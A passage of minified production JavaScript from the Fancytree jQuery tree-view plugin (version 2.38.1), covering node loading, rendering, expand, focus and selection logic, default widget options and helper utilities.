wrong?).")}if(f._requestId&&f._requestId>p){o.rejectWith(this,[a]);return}if(f.parent===null&&d!==null){o.rejectWith(this,[l]);return}if(t.options.postProcess){try{h=c._triggerNodeEvent("postProcess",t,t.originalEvent,{response:i,error:null,dataType:n.dataType});if(h.error){c.warn("postProcess returned error:",h)}}catch(e){h={error:e,message:""+e,details:"postProcess failed"}}if(h.error){u=e.isPlainObject(h.error)?h.error:{message:h.error};u=c._makeHookContext(f,null,u);o.rejectWith(this,[u]);return}if(E(h)||e.isPlainObject(h)&&E(h.children)){i=h}}else if(i&&x(i,"d")&&t.options.enableAspx){if(t.options.enableAspx===42){c.warn("The default for enableAspx will change to `false` in the fututure. "+"Pass `enableAspx: true` or implement postProcess to silence this warning.")}i=typeof i.d==="string"?e.parseJSON(i.d):i.d}o.resolveWith(this,[i])}),(function(e,t,n){var i=c._makeHookContext(f,null,{error:e,args:Array.prototype.slice.call(arguments),message:n,details:e.status+": "+n});o.rejectWith(this,[i])}));o.done((function(n){c.nodeSetStatus(t,"ok");var i,r,s;if(e.isPlainObject(n)){w(f.isRootNode(),"source may only be an object for root nodes (expecting an array of child objects otherwise)");w(E(n.children),"if an object is passed as source, it must contain a 'children' array (all other properties are added to 'tree.data')");r=n;i=n.children;delete r.children;e.each(v,(function(e,t){if(r[t]!==undefined){c[t]=r[t];delete r[t]}}));e.extend(c.data,r)}else{i=n}w(E(i),"expected array of children");f._setChildren(i);if(c.options.nodata&&i.length===0){if(k(c.options.nodata)){s=c.options.nodata.call(c,{type:"nodata"},t)}else if(c.options.nodata===true&&f.isRootNode()){s=c.options.strings.noData}else if(typeof c.options.nodata==="string"&&f.isRootNode()){s=c.options.nodata}if(s){f.setStatus("nodata",s)}}c._triggerNodeEvent("loadChildren",f)})).fail((function(e){var n;if(e===a){f.warn("Ignored response for obsolete load request #"+p+" (expected #"+f._requestId+")");return}else if(e===l){f.warn("Lazy parent node was removed while loading: discarding response.");return}else if(e.node&&e.error&&e.message){n=e}else{n=c._makeHookContext(f,null,{error:e,args:Array.prototype.slice.call(arguments),message:e?e.message||e.toString():""});if(n.message==="[object Object]"){n.message=""}}f.warn("Load children failed ("+n.message+")",n);if(c._triggerNodeEvent("loadError",n,null)!==false){c.nodeSetStatus(t,"error",n.message,n.details)}})).always((function(){f._requestId=null;if(u){c.debugTimeEnd(h)}}));return o.promise()},nodeLoadKeyPath:function(e,t){},nodeRemoveChild:function(t,n){var i,r=t.node,s=e.extend({},t,{node:n}),o=r.children;if(o.length===1){w(n===o[0],"invalid single child");return this.nodeRemoveChildren(t)}if(this.activeNode&&(n===this.activeNode||this.activeNode.isDescendantOf(n))){this.activeNode.setActive(false)}if(this.focusNode&&(n===this.focusNode||this.focusNode.isDescendantOf(n))){this.focusNode=null}this.nodeRemoveMarkup(s);this.nodeRemoveChildren(s);i=e.inArray(n,o);w(i>=0,"invalid child");r.triggerModifyChild("remove",n);n.visit((function(e){e.parent=null}),true);this._callHook("treeRegisterNode",this,false,n);o.splice(i,1)},nodeRemoveChildMarkup:function(t){var n=t.node;if(n.ul){if(n.isRootNode()){e(n.ul).empty()}else{e(n.ul).remove();n.ul=null}n.visit((function(e){e.li=e.ul=null}))}},nodeRemoveChildren:function(e){var t=e.tree,n=e.node,i=n.children;if(!i){return}if(this.activeNode&&this.activeNode.isDescendantOf(n)){this.activeNode.setActive(false)}if(this.focusNode&&this.focusNode.isDescendantOf(n)){this.focusNode=null}this.nodeRemoveChildMarkup(e);n.triggerModifyChild("remove",null);n.visit((function(e){e.parent=null;t._callHook("treeRegisterNode",t,false,e)}));if(n.lazy){n.children=[]}else{n.children=null}if(!n.isRootNode()){n.expanded=false}this.nodeRenderStatus(e)},nodeRemoveMarkup:function(t){var n=t.node;if(n.li){e(n.li).remove();n.li=null}this.nodeRemoveChildMarkup(t)},nodeRender:function(t,n,i,r,s){var o,a,l,u,c,f,d,h=t.node,p=t.tree,g=t.options,v=g.aria,m=false,y=h.parent,b=!y,_=h.children,x=null;if(p._enableUpdate===false){return}if(!b&&!y.ul){return}w(b||y.ul,"parent UL must exist");if(!b){if(h.li&&(n||h.li.parentNode!==h.parent.ul)){if(h.li.parentNode===h.parent.ul){x=h.li.nextSibling}else{this.debug("Unlinking "+h+" (must be child of "+h.parent+")")}this.nodeRemoveMarkup(t)}if(h.li){this.nodeRenderStatus(t)}else{m=true;h.li=document.createElement("li");h.li.ftnode=h;if(h.key&&g.generateIds){h.li.id=g.idPrefix+h.key}h.span=document.createElement("span");h.span.className="fancytree-node";if(v&&!h.tr){e(h.li).attr("role","treeitem")}h.li.appendChild(h.span);this.nodeRenderTitle(t);if(g.createNode){g.createNode.call(p,{type:"createNode"},t)}}if(g.renderNode){g.renderNode.call(p,{type:"renderNode"},t)}}if(_){if(b||h.expanded||i===true){if(!h.ul){h.ul=document.createElement("ul");if(r===true&&!s||!h.expanded){h.ul.style.display="none"}if(v){e(h.ul).attr("role","group")}if(h.li){h.li.appendChild(h.ul)}else{h.tree.$div.append(h.ul)}}for(u=0,c=_.length;u<c;u++){d=e.extend({},t,{node:_[u]});this.nodeRender(d,n,i,false,true)}o=h.ul.firstChild;while(o){l=o.ftnode;if(l&&l.parent!==h){h.debug("_fixParent: remove missing "+l,o);f=o.nextSibling;o.parentNode.removeChild(o);o=f}else{o=o.nextSibling}}o=h.ul.firstChild;for(u=0,c=_.length-1;u<c;u++){a=_[u];l=o.ftnode;if(a===l){o=o.nextSibling}else{h.ul.insertBefore(a.li,l.li)}}}}else{if(h.ul){this.warn("remove child markup for "+h);this.nodeRemoveChildMarkup(t)}}if(!b){if(m){y.ul.insertBefore(h.li,x)}}},nodeRenderTitle:function(t,n){var s,o,a,l,u,c,f,d,h=t.node,p=t.tree,g=t.options,v=g.aria,m=h.getLevel(),y=[];if(n!==undefined){h.title=n}if(!h.span||p._enableUpdate===false){return}u=v&&h.hasChildren()!==false?" role='button'":"";if(m<g.minExpandLevel){if(!h.lazy){h.expanded=true}if(m>1){y.push("<span "+u+" class='fancytree-expander fancytree-expander-fixed'></span>")}}else{y.push("<span "+u+" class='fancytree-expander'></span>")}s=i.evalOption("checkbox",h,h,g,false);if(s&&!h.isStatusNode()){u=v?" role='checkbox'":"";o="fancytree-checkbox";if(s==="radio"||h.parent&&h.parent.radiogroup){o+=" fancytree-radio"}y.push("<span "+u+" class='"+o+"'></span>")}if(h.data.iconClass!==undefined){if(h.icon){e.error("'iconClass' node option is deprecated since v2.14.0: use 'icon' only instead")}else{h.warn("'iconClass' node option is deprecated since v2.14.0: use 'icon' instead");h.icon=h.data.iconClass}}a=i.evalOption("icon",h,h,g,true);if(a!==false){u=v?" role='presentation'":"";d=i.evalOption("iconTooltip",h,h,g,null);d=d?" title='"+I(d)+"'":"";if(typeof a==="string"){if(r.test(a)){a=a.charAt(0)==="/"?a:(g.imagePath||"")+a;y.push("<img src='"+a+"' class='fancytree-icon'"+d+" alt='' />")}else{y.push("<span "+u+" class='fancytree-custom-icon "+a+"'"+d+"></span>")}}else if(a.text){y.push("<span "+u+" class='fancytree-custom-icon "+(a.addClass||"")+"'"+d+">"+i.escapeHtml(a.text)+"</span>")}else if(a.html){y.push("<span "+u+" class='fancytree-custom-icon "+(a.addClass||"")+"'"+d+">"+a.html+"</span>")}else{y.push("<span "+u+" class='fancytree-icon'"+d+"></span>")}}l="";if(g.renderTitle){l=g.renderTitle.call(p,{type:"renderTitle"},t)||""}if(!l){f=i.evalOption("tooltip",h,h,g,null);if(f===true){f=h.title}f=f?" title='"+I(f)+"'":"";c=g.titlesTabbable?" tabindex='0'":"";l="<span class='fancytree-title'"+f+c+">"+(g.escapeTitles?i.escapeHtml(h.title):h.title)+"</span>"}y.push(l);h.span.innerHTML=y.join("");this.nodeRenderStatus(t);if(g.enhanceTitle){t.$title=e(">span.fancytree-title",h.span);l=g.enhanceTitle.call(p,{type:"enhanceTitle"},t)||""}},nodeRenderStatus:function(t){var n,r=t.node,s=t.tree,o=t.options,a=r.hasChildren(),l=r.isLastSibling(),u=o.aria,c=o._classNames,f=[],d=r[s.statusClassPropName];if(!d||s._enableUpdate===false){return}if(u){n=e(r.tr||r.li)}f.push(c.node);if(s.activeNode===r){f.push(c.active)}if(s.focusNode===r){f.push(c.focused)}if(r.expanded){f.push(c.expanded)}if(u){if(a===false){n.removeAttr("aria-expanded")}else{n.attr("aria-expanded",Boolean(r.expanded))}}if(r.folder){f.push(c.folder)}if(a!==false){f.push(c.hasChildren)}if(l){f.push(c.lastsib)}if(r.lazy&&r.children==null){f.push(c.lazy)}if(r.partload){f.push(c.partload)}if(r.partsel){f.push(c.partsel)}if(i.evalOption("unselectable",r,r,o,false)){f.push(c.unselectable)}if(r._isLoading){f.push(c.loading)}if(r._error){f.push(c.error)}if(r.statusNodeType){f.push(c.statusNodePrefix+r.statusNodeType)}if(r.selected){f.push(c.selected);if(u){n.attr("aria-selected",true)}}else if(u){n.attr("aria-selected",false)}if(r.extraClasses){f.push(r.extraClasses)}if(a===false){f.push(c.combinedExpanderPrefix+"n"+(l?"l":""))}else{f.push(c.combinedExpanderPrefix+(r.expanded?"e":"c")+(r.lazy&&r.children==null?"d":"")+(l?"l":""))}f.push(c.combinedIconPrefix+(r.expanded?"e":"c")+(r.folder?"f":""));d.className=f.join(" ");if(r.li){e(r.li).toggleClass(c.lastsib,l)}},nodeSetActive:function(t,n,i){i=i||{};var r,s=t.node,o=t.tree,a=t.options,l=i.noEvents===true,u=i.noFocus===true,c=i.scrollIntoView!==false,f=s===o.activeNode;n=n!==false;if(f===n){return N(s)}if(c&&t.originalEvent&&e(t.originalEvent.target).is("a,:checkbox")){s.info("Not scrolling while clicking an embedded link.");c=false}if(n&&!l&&this._triggerNodeEvent("beforeActivate",s,t.originalEvent)===false){return P(s,["rejected"])}if(n){if(o.activeNode){w(o.activeNode!==s,"node was active (inconsistency)");r=e.extend({},t,{node:o.activeNode});o.nodeSetActive(r,false);w(o.activeNode===null,"deactivate was out of sync?")}if(a.activeVisible){s.makeVisible({scrollIntoView:c})}o.activeNode=s;o.nodeRenderStatus(t);if(!u){o.nodeSetFocus(t)}if(!l){o._triggerNodeEvent("activate",s,t.originalEvent)}}else{w(o.activeNode===s,"node was not active (inconsistency)");o.activeNode=null;this.nodeRenderStatus(t);if(!l){t.tree._triggerNodeEvent("deactivate",s,t.originalEvent)}}return N(s)},nodeSetExpanded:function(t,n,i){i=i||{};var r,s,o,a,l,u,c=t.node,f=t.tree,d=t.options,h=i.noAnimation===true,p=i.noEvents===true;n=n!==false;if(e(c.li).hasClass(d._classNames.animating)){c.warn("setExpanded("+n+") while animating: ignored.");return P(c,["recursion"])}if(c.expanded&&n||!c.expanded&&!n){return N(c)}else if(n&&!c.lazy&&!c.hasChildren()){return N(c)}else if(!n&&c.getLevel()<d.minExpandLevel){return P(c,["locked"])}else if(!p&&this._triggerNodeEvent("beforeExpand",c,t.originalEvent)===false){return P(c,["rejected"])}if(!h&&!c.isVisible()){h=i.noAnimation=true}s=new e.Deferred;if(n&&!c.expanded&&d.autoCollapse){l=c.getParentList(false,true);u=d.autoCollapse;try{d.autoCollapse=false;for(o=0,a=l.length;o<a;o++){this._callHook("nodeCollapseSiblings",l[o],i)}}finally{d.autoCollapse=u}}s.done((function(){var e=c.getLastChild();if(n&&d.autoScroll&&!h&&e&&f._enableUpdate){e.scrollIntoView(true,{topNode:c}).always((function(){if(!p){t.tree._triggerNodeEvent(n?"expand":"collapse",t)}}))}else{if(!p){t.tree._triggerNodeEvent(n?"expand":"collapse",t)}}}));r=function(i){var r=d._classNames,s,o,a=d.toggleEffect;c.expanded=n;f._callHook("treeStructureChanged",t,n?"expand":"collapse");f._callHook("nodeRender",t,false,false,true);if(c.ul){s=c.ul.style.display!=="none";o=!!c.expanded;if(s===o){c.warn("nodeSetExpanded: UL.style.display already set")}else if(!a||h){c.ul.style.display=c.expanded||!parent?"":"none"}else{e(c.li).addClass(r.animating);if(k(e(c.ul)[a.effect])){e(c.ul)[a.effect]({duration:a.duration,always:function(){e(this).removeClass(r.animating);e(c.li).removeClass(r.animating);i()}})}else{e(c.ul).stop(true,true);e(c.ul).parent().find(".ui-effects-placeholder").remove();e(c.ul).toggle(a.effect,a.options,a.duration,(function(){e(this).removeClass(r.animating);e(c.li).removeClass(r.animating);i()}))}return}}i()};if(n&&c.lazy&&c.hasChildren()===undefined){c.load().done((function(){if(s.notifyWith){s.notifyWith(c,["loaded"])}r((function(){s.resolveWith(c)}))})).fail((function(e){r((function(){s.rejectWith(c,["load failed ("+e+")"])}))}))}else{r((function(){s.resolveWith(c)}))}return s.promise()},nodeSetFocus:function(t,n){var i,r=t.tree,s=t.node,o=r.options,a=t.originalEvent?e(t.originalEvent.target).is(":input"):false;n=n!==false;if(r.focusNode){if(r.focusNode===s&&n){return}i=e.extend({},t,{node:r.focusNode});r.focusNode=null;this._triggerNodeEvent("blur",i);this._callHook("nodeRenderStatus",i)}if(n){if(!this.hasFocus()){s.debug("nodeSetFocus: forcing container focus");this._callHook("treeSetFocus",t,true,{calledByNode:true})}s.makeVisible({scrollIntoView:false});r.focusNode=s;if(o.titlesTabbable){if(!a){e(s.span).find(".fancytree-title").focus()}}if(o.aria){e(r.$container).attr("aria-activedescendant",e(s.tr||s.li).uniqueId().attr("id"))}this._triggerNodeEvent("focus",t);var l=document.activeElement===r.$container.get(0)||e(document.activeElement,r.$container).length>=1;if(!l){e(r.$container).focus()}if(o.autoScroll){s.scrollIntoView()}this._callHook("nodeRenderStatus",t)}},nodeSetSelected:function(e,t,n){n=n||{};var r=e.node,s=e.tree,o=e.options,a=n.noEvents===true,l=r.parent;t=t!==false;if(i.evalOption("unselectable",r,r,o,false)){return}r._lastSelectIntent=t;if(!!r.selected===t){if(o.selectMode===3&&r.partsel&&!t){}else{return t}}if(!a&&this._triggerNodeEvent("beforeSelect",r,e.originalEvent)===false){return!!r.selected}if(t&&o.selectMode===1){if(s.lastSelectedNode){s.lastSelectedNode.setSelected(false)}r.selected=t}else if(o.selectMode===3&&l&&!l.radiogroup&&!r.radiogroup){r.selected=t;r.fixSelection3AfterClick(n)}else if(l&&l.radiogroup){r.visitSiblings((function(e){e._changeSelectStatusAttrs(t&&e===r)}),true)}else{r.selected=t}this.nodeRenderStatus(e);s.lastSelectedNode=t?r:null;if(!a){s._triggerNodeEvent("select",e)}},nodeSetStatus:function(t,n,i,r){var s=t.node,o=t.tree;function a(){var e=s.children?s.children[0]:null;if(e&&e.isStatusNode()){try{if(s.ul){s.ul.removeChild(e.li);e.li=null}}catch(e){}if(s.children.length===1){s.children=[]}else{s.children.shift()}o._callHook("treeStructureChanged",t,"clearStatusNode")}}function l(n,i){var r=s.children?s.children[0]:null;if(r&&r.isStatusNode()){e.extend(r,n);r.statusNodeType=i;o._callHook("nodeRenderTitle",r)}else{s._setChildren([n]);o._callHook("treeStructureChanged",t,"setStatusNode");s.children[0].statusNodeType=i;o.render()}return s.children[0]}switch(n){case"ok":a();s._isLoading=false;s._error=null;s.renderStatus();break;case"loading":if(!s.parent){l({title:o.options.strings.loading+(i?" ("+i+")":""),checkbox:false,tooltip:r},n)}s._isLoading=true;s._error=null;s.renderStatus();break;case"error":l({title:o.options.strings.loadError+(i?" ("+i+")":""),checkbox:false,tooltip:r},n);s._isLoading=false;s._error={message:i,details:r};s.renderStatus();break;case"nodata":l({title:i||o.options.strings.noData,checkbox:false,tooltip:r},n);s._isLoading=false;s._error=null;s.renderStatus();break;default:e.error("invalid node status "+n)}},nodeToggleExpanded:function(e){return this.nodeSetExpanded(e,!e.node.expanded)},nodeToggleSelected:function(e){var t=e.node,n=!t.selected;if(t.partsel&&!t.selected&&t._lastSelectIntent===true){n=false;t.selected=true}t._lastSelectIntent=n;return this.nodeSetSelected(e,n)},treeClear:function(e){var t=e.tree;t.activeNode=null;t.focusNode=null;t.$div.find(">ul.fancytree-container").empty();t.rootNode.children=null;t._callHook("treeStructureChanged",e,"clear")},treeCreate:function(e){},treeDestroy:function(e){this.$div.find(">ul.fancytree-container").remove();if(this.$source){this.$source.removeClass("fancytree-helper-hidden")}},treeInit:function(t){var n=t.tree,i=n.options;n.$container.attr("tabindex",i.tabindex);e.each(v,(function(e,t){if(i[t]!==undefined){n.info("Move option "+t+" to tree");n[t]=i[t];delete i[t]}}));if(i.checkboxAutoHide){n.$container.addClass("fancytree-checkbox-auto-hide")}if(i.rtl){n.$container.attr("DIR","RTL").addClass("fancytree-rtl")}else{n.$container.removeAttr("DIR").removeClass("fancytree-rtl")}if(i.aria){n.$container.attr("role","tree");if(i.selectMode!==1){n.$container.attr("aria-multiselectable",true)}}this.treeLoad(t)},treeLoad:function(t,n){var r,s,o,a=t.tree,l=t.widget.element,u,c=e.extend({},t,{node:this.rootNode});if(a.rootNode.children){this.treeClear(t)}n=n||this.options.source;if(!n){s=l.data("type")||"html";switch(s){case"html":o=l.find(">ul").not(".fancytree-container").first();if(o.length){o.addClass("ui-fancytree-source fancytree-helper-hidden");n=e.ui.fancytree.parseHtml(o);this.data=e.extend(this.data,F(o))}else{i.warn("No `source` option was passed and container does not contain `<ul>`: assuming `source: []`.");n=[]}break;case"json":n=e.parseJSON(l.text());l.contents().filter((function(){return this.nodeType===3})).remove();if(e.isPlainObject(n)){w(E(n.children),"if an object is passed as source, it must contain a 'children' array (all other properties are added to 'tree.data')");r=n;n=n.children;delete r.children;e.each(v,(function(e,t){if(r[t]!==undefined){a[t]=r[t];delete r[t]}}));e.extend(a.data,r)}break;default:e.error("Invalid data-type: "+s)}}else if(typeof n==="string"){e.error("Not implemented")}a._triggerTreeEvent("preInit",null);u=this.nodeLoadChildren(c,n).done((function(){a._callHook("treeStructureChanged",t,"loadChildren");a.render();if(t.options.selectMode===3){a.rootNode.fixSelection3FromEndNodes()}if(a.activeNode&&a.options.activeVisible){a.activeNode.makeVisible()}a._triggerTreeEvent("init",null,{status:true})})).fail((function(){a.render();a._triggerTreeEvent("init",null,{status:false})}));return u},treeRegisterNode:function(e,t,n){e.tree._callHook("treeStructureChanged",e,t?"addNode":"removeNode")},treeSetFocus:function(t,n,i){var r;n=n!==false;if(n!==this.hasFocus()){this._hasFocus=n;if(!n&&this.focusNode){this.focusNode.setFocus(false)}else if(n&&(!i||!i.calledByNode)){e(this.$container).focus()}this.$container.toggleClass("fancytree-treefocus",n);this._triggerTreeEvent(n?"focusTree":"blurTree");if(n&&!this.activeNode){r=this._lastMousedownNode||this.getFirstChild();if(r){r.setFocus()}}}},treeSetOption:function(t,n,i){var r=t.tree,s=true,o=false,a=false;switch(n){case"aria":case"checkbox":case"icon":case"minExpandLevel":case"tabindex":o=true;a=true;break;case"checkboxAutoHide":r.$container.toggleClass("fancytree-checkbox-auto-hide",!!i);break;case"escapeTitles":case"tooltip":a=true;break;case"rtl":if(i===false){r.$container.removeAttr("DIR").removeClass("fancytree-rtl")}else{r.$container.attr("DIR","RTL").addClass("fancytree-rtl")}a=true;break;case"source":s=false;r._callHook("treeLoad",r,i);a=true;break}r.debug("set option "+n+"="+i+" <"+typeof i+">");if(s){if(this.widget._super){this.widget._super.call(this.widget,n,i)}else{e.Widget.prototype._setOption.call(this.widget,n,i)}}if(o){r._callHook("treeCreate",r)}if(a){r.render(true,false)}},treeStructureChanged:function(e,t){}});e.widget("ui.fancytree",{options:{activeVisible:true,ajax:{type:"GET",cache:false,dataType:"json"},aria:true,autoActivate:true,autoCollapse:false,autoScroll:false,checkbox:false,clickFolderMode:4,copyFunctionsToData:false,debugLevel:null,disabled:false,enableAspx:42,escapeTitles:false,extensions:[],focusOnSelect:false,generateIds:false,icon:true,idPrefix:"ft_",keyboard:true,keyPathSeparator:"/",minExpandLevel:1,nodata:true,quicksearch:false,rtl:false,scrollOfs:{top:0,bottom:0},scrollParent:null,selectMode:2,strings:{loading:"Loading...",loadError:"Load error!",moreData:"More...",noData:"No data."},tabindex:"0",titlesTabbable:false,toggleEffect:{effect:"slideToggle",duration:200},tooltip:false,treeId:null,_classNames:{active:"fancytree-active",animating:"fancytree-animating",combinedExpanderPrefix:"fancytree-exp-",combinedIconPrefix:"fancytree-ico-",error:"fancytree-error",expanded:"fancytree-expanded",focused:"fancytree-focused",folder:"fancytree-folder",hasChildren:"fancytree-has-children",lastsib:"fancytree-lastsib",lazy:"fancytree-lazy",loading:"fancytree-loading",node:"fancytree-node",partload:"fancytree-partload",partsel:"fancytree-partsel",radio:"fancytree-radio",selected:"fancytree-selected",statusNodePrefix:"fancytree-statusnode-",unselectable:"fancytree-unselectable"},lazyLoad:null,postProcess:null},_deprecationWarning:function(e){var t=this.tree;if(t&&t.options.debugLevel>=3){t.warn("$().fancytree('"+e+"') is deprecated (see https://wwwendt.de/tech/fancytree/doc/jsdoc/Fancytree_Widget.html")}},_create:function(){this.tree=new H(this);this.$source=this.source||this.element.data("type")==="json"?this.element:this.element.find(">ul").first();var t,n,i,r=this.options,s=r.extensions,o=this.tree;for(i=0;i<s.length;i++){n=s[i];t=e.ui.fancytree._extensions[n];if(!t){e.error("Could not apply extension '"+n+"' (it is not registered, did you forget to include it?)")}this.tree.options[n]=j({},t.options,this.tree.options[n]);w(this.tree.ext[n]===undefined,"Extension name must not exist as Fancytree.ext attribute: '"+n+"'");this.tree.ext[n]={};O(this.tree,o,t,n);o=t}if(r.icons!==undefined){if(r.icon===true){this.tree.warn("'icons' tree option is deprecated since v2.14.0: use 'icon' instead");r.icon=r.icons}else{e.error("'icons' tree option is deprecated since v2.14.0: use 'icon' only instead")}}if(r.iconClass!==undefined){if(r.icon){e.error("'iconClass' tree option is deprecated since v2.14.0: use 'icon' only instead")}else{this.tree.warn("'iconClass' tree option is deprecated since v2.14.0: use 'icon' instead");r.icon=r.iconClass}}if(r.tabbable!==undefined){r.tabindex=r.tabbable?"0":"-1";this.tree.warn("'tabbable' tree option is deprecated since v2.17.0: use 'tabindex='"+r.tabindex+"' instead")}this.tree._callHook("treeCreate",this.tree)},_init:function(){this.tree._callHook("treeInit",this.tree);this._bind()},_setOption:function(e,t){return this.tree._callHook("treeSetOption",this.tree,e,t)},_destroy:function(){this._unbind();this.tree._callHook("treeDestroy",this.tree)},_unbind:function(){var t=this.tree._ns;this.element.off(t);this.tree.$container.off(t);e(document).off(t)},_bind:function(){var t=this,n=this.options,r=this.tree,s=r._ns;this._unbind();r.$container.on("focusin"+s+" focusout"+s,(function(t){var n=i.getNode(t),s=t.type==="focusin";if(!s&&n&&e(t.target).is("a")){n.debug("Ignored focusout on embedded <a> element.");return}if(s){if(r._getExpiringValue("focusin")){r.debug("Ignored double focusin.");return}r._setExpiringValue("focusin",true,50);if(!n){n=r._getExpiringValue("mouseDownNode");if(n){r.debug("Reconstruct mouse target for focusin from recent event.")}}}if(n){r._callHook("nodeSetFocus",r._makeHookContext(n,t),s)}else{if(r.tbody&&e(t.target).parents("table.fancytree-container > thead").length){r.debug("Ignore focus event outside table body.",t)}else{r._callHook("treeSetFocus",r,s)}}})).on("selectstart"+s,"span.fancytree-title",(function(e){e.preventDefault()})).on("keydown"+s,(function(e){if(n.disabled||n.keyboard===false){return true}var t,i=r.focusNode,s=r._makeHookContext(i||r,e),o=r.phase;try{r.phase="userEvent";if(i){t=r._triggerNodeEvent("keydown",i,e)}else{t=r._triggerTreeEvent("keydown",e)}if(t==="preventNav"){t=true}else if(t!==false){t=r._callHook("nodeKeydown",s)}return t}finally{r.phase=o}})).on("mousedown"+s,(function(e){var t=i.getEventTarget(e);r._lastMousedownNode=t?t.node:null;r._setExpiringValue("mouseDownNode",r._lastMousedownNode)})).on("click"+s+" dblclick"+s,(function(e){if(n.disabled){return true}var r,s=i.getEventTarget(e),o=s.node,a=t.tree,l=a.phase;if(!o){return true}r=a._makeHookContext(o,e);try{a.phase="userEvent";switch(e.type){case"click":r.targetType=s.type;if(o.isPagingNode()){return a._triggerNodeEvent("clickPaging",r,e)===true}return a._triggerNodeEvent("click",r,e)===false?false:a._callHook("nodeClick",r);case"dblclick":r.targetType=s.type;return a._triggerNodeEvent("dblclick",r,e)===false?false:a._callHook("nodeDblclick",r)}}finally{a.phase=l}}))},getActiveNode:function(){this._deprecationWarning("getActiveNode");return this.tree.activeNode},getNodeByKey:function(e){this._deprecationWarning("getNodeByKey");return this.tree.getNodeByKey(e)},getRootNode:function(){this._deprecationWarning("getRootNode");return this.tree.rootNode},getTree:function(){this._deprecationWarning("getTree");return this.tree}});i=e.ui.fancytree;e.extend(e.ui.fancytree,{version:"2.38.1",buildType:"production",debugLevel:3,_nextId:1,_nextNodeKey:1,_extensions:{},_FancytreeClass:H,_FancytreeNodeClass:R,jquerySupports:{positionMyOfs:S(e.ui.version,1,9)},assert:function(e,t){return w(e,t)},createTree:function(t,n){var r=e(t).fancytree(n);return i.getTree(r)},debounce:function(e,t,n,i){var r;if(arguments.length===3&&typeof n!=="boolean"){i=n;n=false}return function(){var s=arguments;i=i||this;n&&!r&&t.apply(i,s);clearTimeout(r);r=setTimeout((function(){n||t.apply(i,s);r=null}),e)}},debug:function(t){if(e.ui.fancytree.debugLevel>=4){A("log",arguments)}},error:function(t){if(e.ui.fancytree.debugLevel>=1){A("error",arguments)}},escapeHtml:function(e){return(""+e).replace(s,(function(e){return u[e]}))},fixPositionOptions:function(t){if(t.offset||(""+t.my+t.at).indexOf("%")>=0){e.error("expected new position syntax (but '%' is not supported)")}if(!e.ui.fancytree.jquerySupports.positionMyOfs){var n=/(\w+)([+-]?\d+)?\s+(\w+)([+-]?\d+)?/.exec(t.my),i=/(\w+)([+-]?\d+)?\s+(\w+)([+-]?\d+)?/.exec(t.at),r=(n[2]?+n[2]:0)+(i[2]?+i[2]:0),s=(n[4]?+n[4]:0)+(i[4]?+i[4]:0);t=e.extend({},t,{my:n[1]+" "+n[3],at:i[1]+" "+i[3]});if(r||s){t.offset=""+r+" "+s}}return t},getEventTarget:function(t){var n,r,s=t&&t.target?t.target.className:"",o={node:this.getNode(t.target),type:undefined};if(/\bfancytree-title\b/.test(s)){o.type="title"}else if(/\bfancytree-expander\b/.test(s)){o.type=o.node.hasChildren()===false?"prefix":"expander"}else if(/\bfancytree-checkbox\b/.test(s)){o.type="checkbox"}else if(/\bfancytree(-custom)?-icon\b/.test(s)){o.type="icon"}else if(/\bfancytree-node\b/.test(s)){o.type="title"}else if(t&&t.target){n=e(t.target);if(n.is("ul[role=group]")){r=o.node&&o.node.tree;(r||i).debug("Ignoring click on outer UL.");o.node=null}else if(n.closest(".fancytree-title").length){o.type="title"}else if(n.closest(".fancytree-checkbox").length){o.type="checkbox"}else if(n.closest(".fancytree-expander").length){o.type="expander"}}return o},getEventTargetType:function(e){return this.getEventTarget(e).type},getNode:function(t){if(t instanceof R){return t}else if(t instanceof e){t=t[0]}else if(t.originalEvent!==undefined){t=t.target}while(t){if(t.ftnode){return t.ftnode}t=t.parentNode}return null},getTree:function(t){var n,i=t;if(t instanceof H){return t}if(t===undefined){t=0}if(typeof t==="number"){t=e(".fancytree-container").eq(t)}else if(typeof t==="string"){t=e("#ft-id-"+i).eq(0);if(!t.length){t=e(i).eq(0)}}else if(t instanceof Element||t instanceof HTMLDocument){t=e(t)}else if(t instanceof e){t=t.eq(0)}else if(t.originalEvent!==undefined){t=e(t.target)}t=t.closest(":ui-fancytree");n=t.data("ui-fancytree")||t.data("fancytree");return n?n.tree:null},evalOption:function(e,t,n,i,r){var s,o,a=t.tree,l=i[e],u=n[e];if(k(l)){s={node:t,tree:a,widget:a.widget,options:a.widget.options,typeInfo:a.types[t.type]||{}};o=l.call(a,{type:e},s);if(o==null){o=u}}else{o=u==null?l:u}if(o==null){o=r}return o},setSpanIcon:function(t,n,i){var r=e(t);if(typeof i==="string"){r.attr("class",n+" "+i)}else{if(i.text){r.text(""+i.text)}else if(i.html){t.innerHTML=i.html}r.attr("class",n+" "+(i.addClass||""))}},eventToString:function(e){var t=e.which,n=e.type,i=[];if(e.altKey){i.push("alt")}if(e.ctrlKey){i.push("ctrl")}if(e.metaKey){i.push("meta")}if(e.shiftKey){i.push("shift")}if(n==="click"||n==="dblclick"){i.push(h[e.button]+n)}else if(n==="wheel"){i.push(n)}else if(!c[t]){i.push(f[t]||String.fromCharCode(t).toLowerCase())}return i.join("+")},info:function(t){if(e.ui.fancytree.debugLevel>=3){A("info",arguments)}},keyEventToString:function(e){this.warn("keyEventToString() is deprecated: use eventToString()");return this.eventToString(e)},overrideMethod:function(t,n,i,r){var s,o=t[n]||e.noop;t[n]=function(){var e=r||this;try{s=e._super;e._super=o;return i.apply(e,arguments)}finally{e._super=s}}},parseHtml:function(t){var n,i,r,s,o,a,l,u,c=t.find(">li"),f=[];c.each((function(){var c,d,h=e(this),v=h.find(">span",this).first(),y=v.length?null:h.find(">a").first(),_={tooltip:null,data:{}};if(v.length){_.title=v.html()}else if(y&&y.length){_.title=y.html();_.data.href=y.attr("href");_.data.target=y.attr("target");_.tooltip=y.attr("title")}else{_.title=h.html();o=_.title.search(/<ul/i);if(o>=0){_.title=_.title.substring(0,o)}}_.title=C(_.title);for(s=0,a=p.length;s<a;s++){_[p[s]]=undefined}n=this.className.split(" ");r=[];for(s=0,a=n.length;s<a;s++){i=n[s];if(g[i]){_[i]=true}else{r.push(i)}}_.extraClasses=r.join(" ");l=h.attr("title");if(l){_.tooltip=l}l=h.attr("id");if(l){_.key=l}if(h.attr("hideCheckbox")){_.checkbox=false}c=F(h);if(c&&!e.isEmptyObject(c)){for(d in b){if(x(c,d)){c[b[d]]=c[d];delete c[d]}}for(s=0,a=m.length;s<a;s++){l=m[s];u=c[l];if(u!=null){delete 